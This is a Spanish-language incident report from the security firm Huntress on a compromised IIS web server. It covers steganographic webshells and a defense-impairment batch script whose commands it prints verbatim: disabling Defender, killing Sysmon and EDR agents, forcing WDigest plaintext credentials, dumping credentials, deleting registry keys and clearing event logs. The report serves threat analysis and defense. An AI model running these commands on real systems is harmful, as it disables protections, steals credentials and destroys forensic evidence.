Agradecimientos: Un agradecimiento especial a Adrian Garcia, Amelia Casley, Olly Maxwell y Anton Ovrutsky por sus contribuciones a esta investigación y a este artículo.
Contexto
En Huntress, tenemos visibilidad de varias partes de la cadena de ataque de un actor de amenazas: cómo entra al entorno de la víctima (acceso inicial), cómo investiga el entorno (enumeración) y cómo se mueve dentro de él (movimiento lateral). Una táctica que vemos bastante es la evasión y el deterioro de defensas, es decir, medidas específicas que los actores de amenazas toman para ocultar sus huellas durante un incidente y desactivar los mecanismos de defensa.
Hace poco respondimos a un incidente el 7 de junio en el que un actor de amenazas primero realizó actividad de enumeración y luego ejecutó casi una docena de tipos distintos de comandos de deterioro de defensas, incluyendo desactivar los registros de IIS, manipular Microsoft Defender, usar WMI Event Consumer para borrar los registros de eventos de Windows, usar timestomping y más.
Describimos las tácticas de deterioro de defensas que observamos en este incidente. Al entender mejor estas técnicas y cómo se desarrollan en un entorno específico, las organizaciones pueden tener una idea más clara de dónde priorizar sus defensas y buscar señales de un posible compromiso.
Un webshell esteganográfico: los primeros comandos
El 7 de junio, Huntress respondió a un compromiso del servidor web originado por un webshell que un actor de amenazas subió a el servidor web vulnerable.
Debido a un registro insuficiente, Huntress no pudo determinar el mecanismo exacto de acceso inicial. Sin embargo, había algunas pruebas de que ese servidor en particular podría haber sufrido un intento de explotación de Adobe ColdFusion. Tras revisar más de cerca los registros históricos, encontramos indicios de una posible explotación de fallas de ColdFusion, incluyendo una vulnerabilidad crítica de ejecución remota de código (CVE-2023-26360), una falla de control de acceso indebido (CVE-2023-29298) y una falla de deserialización (CVE-2023-29300). La evidencia que sí teníamos provino de la presencia de endpoints conocidos como objetivo en los registros históricos:
/CFIDE/adminapi/_datasource/setmsaccessRegistry.cfm
/CFIDE/adminapi/_datasource/setsldatasource.cfm
/CFIDE/adminapi/_datasource/setdsn.cfm
/CFIDE/adminapi/_datasource/formatjdbcurl.cfm
/CFIDE/adminapi/_datasource/getaccessdefaultsfromRegistry.cfm
/CFIDE/adminapi/_datasource/geturldefaults.cfm
/CFIDE/adminapi/customtags/l10n.cfm
/CFIDE/adminapi/serverinstance.cfc
/CFIDE/adminapi/servermonitoring.cfc
Si bien normalmente el control de acceso restringe las solicitudes de acceso externo a los recursos que se encuentran dentro de estas rutas URL, CVE-2023-29298 permite un acceso indebido a estas rutas. Tras el compromiso, el actor de amenazas comenzó a ejecutar comandos de enumeración comunes como whoami, que Huntress detectó, como se ve en la Figura 1. Dos cosas destacan respecto a esta detección. Primero, incluía convenientemente el directorio del webshell malicioso (wwwroot\Images) dentro de su línea de comandos. Segundo, el comando malicioso se originó del proceso padre w3wp.exe, un proceso de trabajo de IIS que normalmente maneja solicitudes web. Esta es una señal reveladora de un posible webshell, porque una aplicación web legítima rara vez tiene motivo para ejecutar comandos de reconocimiento del sistema operativo como whoami. Su trabajo es, en cambio, servir contenido web, no enumerar el endpoint.
Figura 1: Comando de enumeración que se origina desde w3wp, una indicación clásica de un posible webshell
Huntress revisó el directorio wwwroot\Images y observó un archivo .aspx creado recientemente, algo inusual para un directorio presuntamente destinado a imágenes. Al examinar más de cerca el archivo, encontramos que el actor de amenazas había usado esteganografía para ocultar un webshell llamado UA4fp7R.aspx dentro de una imagen.
Figura 2: El webshell (UA4fp7R.aspx) abierto con un visor de imágenes
Figura 3: UA4fp7R.aspx abierto en un editor de texto. Nota el JavaScript legible que comienza al final de la página
Figura 4: El payload del webshell incrustado en la imagen
Como se ve en la Figura 4, x4F x4E x45 x50 x49 x45 x43 x45 está codificado en hexadecimal, y al decodificarlo se lee ONEPIECE. Este es un Indicador de Compromiso (IoC) interesante que terminó apareciendo en todos los webshells encontrados a lo largo de este ataque. Otra cadena incrustada en el archivo .aspx se decodifica como x_best_911. Cuando el archivo recibe el comando, envía de vuelta la cadena decodificada ONEPIECE, y cuando ejecuta el comando envía de vuelta la cadena decodificada como x_best_911. Es probable que estas cadenas sean una respuesta para indicar que el shell está operativo.
El SOC puso en cola rápidamente el webshell para su eliminación y entregó a la organización afectada una lista de acciones de remediación para proteger el servidor web. Sin embargo, el servidor volvió a estar en línea antes de que las remediaciones se completaran por completo, lo que permitió al actor de amenazas continuar su ataque tres días después. Esta vez, llegaron preparados con una serie de técnicas de alteración de defensas con el objetivo de ocultar sus huellas.
Un stegano-webshell del futuro y enumeración
El 10 de junio, el actor de amenazas subió otro webshell (WRBYTR5750images.aspx) y realizó enumeración adicional para la cuenta iis_user usando net, lo cual el SOC detectó y remedió rápidamente una vez más.
Figura 5: El actor de amenazas enumera iis_user
Sin embargo, después de que el SOC remediara el webshell, el servidor vulnerable volvió a estar en línea por segunda vez. Eso permitió al actor de amenazas regresar nuevamente el 11 de junio y volver a subir el webshell, pero esta vez, antes de ejecutar varios comandos de enumeración, usaron metadatos MAC alterados (timestomping) para evitar que los investigadores determinaran cuándo apareció el webshell en el sistema.
Más allá de la esteganografía, este fue el primer indicio de una técnica de evasión de defensas que encontramos: los metadatos MAC alterados implican marcas de tiempo de archivos que los atacantes falsifican deliberadamente para que los archivos maliciosos pasen desapercibidos y corrompan la línea de tiempo forense en la que confían los investigadores.
Figura 6: Los tiempos MAC del webshell con marca de tiempo alterada
Después de volver a subir el webshell, el actor de amenazas intentó nuevamente enumerar la cuenta iss_user pero no la escribió correctamente, como se ve en los comandos ejecutados a continuación.
Figura 7: El actor de amenazas regresa el 11 de junio
Una revisión más detallada del registro de Windows nos dio una mejor comprensión de lo que estaba pasando. El actor de amenazas primero enumeró el software instalado en el sistema mediante una consulta de registro a HKEY_LOCAL_MACHINE\SOFTWARE. Como se ve en las consultas a continuación, los actores de amenazas enumeraron en particular el cliente FTP de código abierto gratuito FileZilla, potencialmente como una técnica de "vivir de la tierra" para exfiltrar datos más adelante en la cadena de ataque.
REG QUERY "HKEY_LOCAL_MACHINE"
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM"
REG QUERY "HKEY_LOCAL_MACHINE\SOFTWARE"
REG QUERY "HKEY_LOCAL_MACHINE\SOFTWARE\FileZilla 3"
REG QUERY "HKEY_LOCAL_MACHINE\SOFTWARE\FileZilla 3\fzshellext"
La ceremonia de apertura de las Olimpiadas de la alteración de defensas
A pesar de la impresionante técnica del atacante mostrada anteriormente, el actor de amenazas nos dejó una pista en forma del script completo de alteración de defensas i.bat en el endpoint. El Huntress SOC pudo obtenerlo antes de que el actor de amenazas tuviera la oportunidad de eliminarlo. El script contenía una serie de técnicas de alteración de defensas y finalmente llevó al volcado de credenciales.
La primera acción que realizó el script fue desactivar el registro de http IIS, lo cual es crucial para identificar otros webshells que el atacante podría haber subido mediante POST:
%windir%\system32\inetsrv\appcmd set config /section:httpLogging /dontLog:True
El script luego ejecutó una gran cantidad de comandos de configuración de Microsoft Defender para deshabilitar y obstaculizar Defender, con el fin de evitar el monitoreo en tiempo real, el escaneo de scripts y el envío de muestras, entre otras cosas, mediante cmdlets de PowerShell. Después ejecutó un script separado DisableDefender.ps1 antes de eliminar el archivo.
powershell -c "Set-MpPreference -DisableRealtimeMonitoring $True"
powershell -c "Set-MpPreference -DisableBehaviorMonitoring $true"
powershell -c "Set-MpPreference -DisableIOAVProtection $true"
powershell -c "Set-MpPreference -DisableScriptScanning $true"
powershell -c "Set-MpPreference -MAPSReporting Disabled"
powershell -c "Set-MpPreference -MAPSReporting 0"
powershell -c "Set-MpPreference -MAPSReporting Disabled"
powershell -c "Set-MpPreference -SubmitSamplesConsent NeverSend"
powershell -c "Set-MpPreference -SubmitSamplesConsent 2"
powershell -NoProfile -ExecutionPolicy Bypass -File DisableDefender.ps1
del DisableDefender.ps1
También pudimos ver que el script utilizaba WMIC para crear exclusiones de Defender en C:\ProgramData\x y para archivos con extensión .mdk:
@WMIC /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Add ExclusionPath=\"C:\ProgramData\x\\"
@WMIC /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Add ExclusionExtension=\".mdk\"
Cazando más: dirigiéndose a registros adicionales y software de seguridad
El actor de amenazas luego ejecutó comandos (taskill.exe) para terminar procesos utilizados para el registro. Estos incluían Sysmon, la herramienta de análisis de registros filebeat de Elastic y software de seguridad como cyserver.exe de Cortex, DrWebCom, ImmunetProtect y Sentinel. Luego usaron sc.exe para detener y eliminar los servicios mencionados:
cscript a.vbs
del a.vbs
del GetSystem.exe
taskkill /im sysmon.exe /f
taskkill /im sysmon64.exe /f
taskkill /im filebeat.exe /f
taskkill /im cyserver.exe /f
taskkill /im McPanel.Log.exe /f
taskkill /im SentinelMemoryScanner.exe /f
taskkill /im SentinelUI.exe /f
taskkill /im DRwebcom.exe /f
wmic service where "name like 'ImmunetProtect_%'" call stopService
sc stop sysmon
sc delete sysmon
sc stop cyserver
sc delete cyserver
sc stop sysmondrv
sc stop ProvisioningClient
sc stop LogProcessorService
sc stop SentinelStaticEngine
sc stop SentinelAgent
sc stop SentinelHelperService
sc stop LogProcessorService
sc delete sysmondrv
sc delete filebeat
sc stop WinDefend
sc stop mr2kserv
La enumeración se vuelve internacional
El actor de amenazas luego usó la funcionalidad de net1 para listar los administradores en idiomas nórdicos, rumano, alemán, inglés, español/portugués y polaco (esta selección indica que este actor de amenazas estaba apuntando a víctimas occidentales/europeas). net1 es un comando de Windows con la misma funcionalidad que el comando net.exe para administrar usuarios, grupos y servicios. Es posible que el actor de amenazas lo haya usado como una forma de evadir detecciones mal diseñadas de net que solo buscan net.exe en lugar de net1.exe.
net1 localgroup Administratorer >>admins.txt
net1 localgroup Administradors >>admins.txt
net1 localgroup Administratoren >>admins.txt
net1 localgroup administrators >>admins.txt
net1 localgroup Administradores >>admins.txt
net1 localgroup Administrateurs >>admins.txt
net1 localgroup Administratorzy >>admins.txt
Desactivación de la protección de credenciales y extracción de credenciales
El actor de amenazas luego usó regedit para debilitar los controles que protegen contra una gestión deficiente de contraseñas. El atacante implementó un archivo de registro para modificar la clave de registro UseLogonCredential, que evita que Windows almacene en caché las contraseñas en memoria en texto plano.
Primero, observamos que el actor de amenazas importó WDigest.reg al registro de Windows:
regedit /s WDigest.reg
del WDigest.reg
Luego vimos que el actor de amenazas apuntó a claves de registro de ODBC (que típicamente definen cómo las aplicaciones se conectan a las bases de datos). En este caso, el actor de amenazas extrajo credenciales de ODBC que se habían almacenado en el registro en texto plano:
REGEDIT /e ODBC.TXT HKEY_LOCAL_MACHINE\SOFTWARE\ODBC\ODBC.INI
El actor de amenazas luego forzó el uso de credenciales en texto plano en memoria configurando el valor UseLogonCredential de la clave de registro WDigest en 1 y desactivó el monitoreo activo en tiempo real de Defender (nuevamente usando el registro), preparando el terreno para la extracción de credenciales.
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f
El actor de amenazas luego ejecutó una herramienta llamada g.com y hs.com, que escribieron datos en pass.txt y hash.txt, respectivamente, y eliminó el controlador de kernel de Mimikatz mimidrv.sys, que extrae credenciales de la memoria.
::gpupdate /force
g.com >pass.txt
del g.com
del ~
del mimidrv.sys
hs.com
del hs.com
dump.com > hash.txt
del dump.com
del x.tmp
del g.com
Enumeración con Appcmd y desactivación del WAF
El actor de amenazas luego usó appcmd.exe para enumerar los sitios alojados en el servidor IIS y luego eliminó el módulo ModSecurity de IIS. Este módulo actúa como un WAF que bloquearía inyección SQL, XSS, etc., dejando así el servidor aún más vulnerable a exploits y ataques adicionales.
%windir%\system32\inetsrv\appcmd list sites >iissite.txt
%windir%\system32\inetsrv\appcmd list vdir >iisinfo.txt
%windir%\system32\inetsrv\appcmd uninstall module "ModSecurity IIS (32bits)"
%windir%\system32\inetsrv\appcmd uninstall module "ModSecurity IIS (64bits)"
Depurador de IFEO
El actor de amenazas usó Image File Execution Options (IFEO) para configurar que sysmon.exe, SetACL.exe y filebeat.exe se iniciaran dentro de un depurador, lo que básicamente congeló los procesos y así los neutralizó. Esto también bloqueó el registro adicional de logs mediante Sysmon y Filebeat e impidió que SetACL.exe bloqueara archivos sensibles, permitiendo así que el actor de amenazas accediera a ellos.
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SetACL.exe" /v "Debugger" /t REG_SZ /d "ntsd -d" /f
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sysmon.exe" /v "Debugger" /t REG_SZ /d "ntsd -d" /f
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sysmon64.exe" /v "Debugger" /t REG_SZ /d "ntsd -d" /f
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\filebeat.exe" /v "Debugger" /t REG_SZ /d "ntsd -d" /f
El deterioro de las defensas se combina con la persistencia
Aunque esta parte de abajo estaba comentada (nota el ::), es una capacidad interesante. El actor de amenazas creó un consumidor de eventos WMI que borraba los registros de eventos de Windows:
::wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="BotFilter82", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 1000 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
::wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="BotConsumer23", CommandLineTemplate="cmd.exe /c for /f %%x in ('wevtutil el')do wevtutil cl \"%%x\""
::wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"BotFilter82\"", Consumer="CommandLineEventConsumer.Name=\"BotConsumer23\""
Asumiendo la responsabilidad de sus acciones
Dentro de i.bat, el actor de amenazas comentó la capacidad de bloquear a usuarios regulares e invitados del acceso a C:\Program Files\ y C:\Windows\System32. Esto también bloqueaba el acceso a activeds.tlb. Esto probablemente buscaba dificultar que los defensores y el software de seguridad usaran la biblioteca de tipos de Active Directory Service Interfaces (ADSI) (para detectar anomalías en cambios de cuenta, modificaciones de GPO u otras) y evitar el acceso a utilidades o archivos del sistema almacenados en System32 y Program Files:
::cacls %SystemRoot%/system32/activeds.tlb /e /r users
::cacls c:\windows\system32 /e /r users
::cacls c:\ /e /r users
::cacls "C:\Program Files\" /e /r users
::cacls c:\ /e /r guests
::cacls "C:\Program Files\" /e /r guests
::cacls c:\windows\system32 /e /r guests
También había otro bloque de código comentado que daba la capacidad de tomar propiedad de la utilidad de secuencias de comandos de Windows y de Shell32. Esto bloquearía a todos el acceso a estas utilidades, probablemente para impedir que se ejecutaran scripts de remediación y para evitar que otros actores de amenazas rivales ejecutaran su propio malware en el endpoint.
::takeown /f C:\Windows\SysWOW64\wshom.ocx /a
::cacls C:\Windows\SysWOW64\wshom.ocx /e /p everyone:n
::takeown /f C:\Windows\SysWOW64\shell32.dll /a
::takeown /f C:\Windows\System32\wshom.ocx /a
::cacls C:\Windows\System32\wshom.ocx /e /p everyone:n
::takeown /f C:\Windows\System32\shell32.dll /a
Limpieza y encendiendo fuego
El actor de amenazas limpió los archivos generados para minimizar los indicadores de compromiso basados en archivos:
del C:\Windows\SysWOW64\wshom.ocx
del iisinfo.txt
del iissite.txt
del pass.txt
del ip.txt
del domain.txt
del admins.txt
del hash.txt
del hashdc.txt
del p.txt
del ODBC.TXT
del ScanResult.txt
Luego eliminaron las claves del registro HKEY_CLASSES_ROOT\Wscript.shell y HKEY_CLASSES_ROOT\Shell.Application, lo que inutilizó de forma efectiva la capacidad del sistema operativo para funcionar al impedir el uso de WScript y de funciones normales del sistema como el Explorador de archivos, la navegación entre carpetas, etc.
reg delete HKEY_CLASSES_ROOT\Wscript.shell /f
reg delete HKEY_CLASSES_ROOT\Wscript.shell.1 /f
reg delete HKEY_CLASSES_ROOT\Shell.Application /f
reg delete HKEY_CLASSES_ROOT\Shell.Application.1 /f
reg delete HKEY_CLASSES_ROOT\Shell.Application /f
reg delete HKEY_CLASSES_ROOT\Shell.Application.1 /f
Después, el actor de amenazas eliminó varias claves de registro CLSID. Las claves de registro CLSID son identificadores únicos globales que le indican a Windows cómo ubicar y cargar componentes de software COM, y que un actor de amenazas las elimine es significativo porque puede afectar gravemente el funcionamiento normal del sistema operativo Windows y provocar fallas en las utilidades del sistema. Esta es la evidencia que encontramos de la eliminación de claves de registro CLSID:
reg delete "HKEY_CLASSES_ROOT\CLSID\{093FF999-1EA0-4079-9525-9614C3504B74}" /f
Esto rompe la funcionalidad de WScript.Network e impide que los scripts se asignen a unidades de red
reg delete "HKEY_CLASSES_ROOT\CLSID\{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}" /f
Esto afecta al shell de WScript mencionado antes, con el fin de impedir que las herramientas se ejecuten si el usuario intenta omitir el nombre de texto y llamar al objeto directamente por su ID numérico
reg delete "HKEY_CLASSES_ROOT\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}" /f
Esto bloquea la capacidad del intérprete de scripts de Windows para iniciar una instancia de ese intérprete.
reg delete "HKEY_CLASSES_ROOT\CLSID\{13709620-C279-11CE-A49E-444553540000}" /f
Este es el motor subyacente de la herramienta Shell.Application, y eliminarlo dificulta aún más la capacidad del sistema para usar scripts.
Finalmente, el atacante borró algunos de los registros de eventos principales para impedir un análisis forense posterior:
wevtutil cl security
wevtutil cl system
wevtutil cl application
wevtutil cl Setup
del %0
Guía de mitigación
Este incidente nos mostró hasta dónde llegan los actores de amenazas para desactivar las defensas durante un ataque. En este incidente observamos al actor de amenazas desmantelando las defensas antes de extraer credenciales con un driver de Mimikatz, lo cual de otro modo habría activado alertas críticas del antivirus. Por suerte, la organización afectada contaba con el SOC vigilando sus endpoints, y el actor de amenazas fue frustrado antes de que se pudieran exfiltrar datos confidenciales o aplicar cifrado.
Para evitar este tipo de amenazas, las organizaciones pueden tomar varias medidas para aplicar controles de seguridad básicos y reforzar sus entornos. Estas incluyen:
-
Asegurarse de que el software esté completamente actualizado con los parches de seguridad más recientes
-
Asegurar un registro adecuado en los servidores web
-
Colocar cualquier servidor detrás de un firewall/VPN si no necesita acceso a internet
-
Asegurarse de que la remediación se realice de principio a fin durante la respuesta a incidentes; de lo contrario, la ventana de exposición quedará abierta para que los actores de amenazas posiblemente regresen
Indicadores de compromiso (IoC)
|
Elemento |
Descripción |
|---|---|
|
UA4fp7R.aspx SHA256: bd74a00f4d2ec3bf50d13ddf324bb368b2464d547abd0c572ef5e2f77943a920 |
Webshell de esteganografía |
|
03Fl3i.aspx SHA256: 40859ede262098086962ab00c89f02452aa9941c88c7f4ac002db166179980c6 |
Webshell de esteganografía |
|
WRBYTR5750images.aspx SHA256: f63d293e117cae1d0a6c24359fc1361a9dc48178049cc6491051b09268c8c39c |
Webshell de esteganografía |
|
C:\ProgramData\x\i.bat SHA256: 94cd18f3f030fcc9b259dc410b17ea72a1f9800ee654f8e0f07a87bb9443b593 |
Archivo batch de evasión de defensas/enumeración |
|
jT1Ds.php SHA256: |
Webshell PHP |
|
RG0eQV6.php SHA256: f0ff36ecdc843351913dbfbd9122b62563894936ff64215a7a2f89181ebdb57f |
Webshell |
|
MRBTPS5754images.aspx SHA256: f63d293e117cae1d0a6c24359fc1361a9dc48178049cc6491051b09268c8c39c |
Webshell |
|
'O'.'N'.'E'.'P'.'I'.'E'.'C'.'E'/ONEPIECE |
Cadena que aparece en los webshells |